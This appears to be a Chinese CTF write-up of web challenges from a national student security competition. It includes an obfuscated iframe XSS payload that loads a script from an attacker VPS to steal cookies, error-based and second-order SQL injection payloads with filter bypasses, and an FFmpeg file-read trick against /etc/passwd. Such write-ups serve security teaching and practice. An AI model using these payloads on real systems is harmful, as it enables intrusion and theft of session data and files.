第十届全国大学生信息安全竞赛-WEB部分-WP
Category: CTF, Web
Tag: none
Written by Venenof7 with ♥ on
其实题目还是很好的。
PHP execise
过滤了蛮多,但是绕过依旧很简单。
读文件:glob=>include=>flag
wanna to see your hat?
.svn泄露,拿到源码后进行审计,关键点在下面:
在index.php中:
if(isset($_SESSION['hat'])){
if($_SESSION['hat']=='green'){
output("<img src='green-hat-1.jpg'>",10);
}else{
output("<img src='black-fedora.jpg'>",1);
echo $flag;
}
然后我们发现在login.php中设置了session:
waf函数其实只是过滤了一些关键词,以及空格。但是这里我们要注意一个地方:
$name = str_replace("'", "", trim(waf($_POST["name"])));
也就是通过addslashes转移后的单引号会被吃掉。
于是payload就是这个样子:
flag vending machine
二次注入。
注册的时候如果注册veneno1' or if(1,1,1)#
跟veneno2' or if(1,0,1)#
。
前者buy的时候会扣除相应的money,而后者不会,于是就造成了二次注入。
Guestbook
利用iframe标签,导致可以绕过sandbox...
而iframe是一个新的dom,delete对其没有影响,于是我们可以通过iframe引入JQuery,从而导致ajax操作。
在这里有一个脑洞的地方就是,还要扫目录...flag是在cookie中...
payload:
<iframe src="javascript:eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 34, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 115, 58, 47, 47, 99, 100, 110, 46, 98, 111, 111, 116, 99, 115, 115, 46, 99, 111, 109, 47, 106, 113, 117, 101, 114, 121, 47, 51, 46, 50, 46, 49, 47, 106, 113, 117, 101, 114, 121, 46, 106, 115, 39, 32, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 39, 104, 116, 116, 112, 58, 47, 47, 118, 112, 115, 105, 112, 47, 49, 46, 106, 115, 39, 32, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 34, 41, 59))"></iframe>
拿到flag:
方舟计划
这个题目还是很好的XD。
首先是报错注入,在注册的时候:
不难发现过滤了from,于是利用/!50000from/去绕过,一共两个表,conifg和user...
payload:
username=sss&phone=aaa'),('root',(updatexml(0,concat(0x7e,(SELECT concat(table_name) /*!50000from*/ information_schema.tables WHERE table_schema=database() limit 0,1)),0)),'1111')#&password=aaaaaaa&repassword=aaaaaaa
当然还有很多方法爆出这个错误....就不在赘述...
而在注入column时:
username=sss&phone=aaa'),('root',(select((extractvalue(1,concat(0x7e,(select name /*!50000from*/ user limit 0,1),0x7e))))),'1111')#&password=aaaaaaa&repassword=aaaaaaa
出现了这个错误:
Error:You can't specify target table 'user' for update in FROM clause
只要加一个别名就OK了:
username=wiqeuqownlkandlsa&phone=aaa'),('root',(select((extractvalue(1,concat(0x7e,(select name /*!50000from*/ user as usear limit 0,1),0x7e))))),'17768100172')#&password=aaaaaaa&repassword=aaaaaaa
密码是aes加密的,解密后拿到密码:tencent123
然后进入后台发现是avi上传,自然而然想到:FFmpeg导致任意文件读取
先读了下/etc/passwd,发现存在waf,采用/etc/./passwd这种方式绕过:
然后最后经过寻找,实在用户目录下,最后成功拿到flag: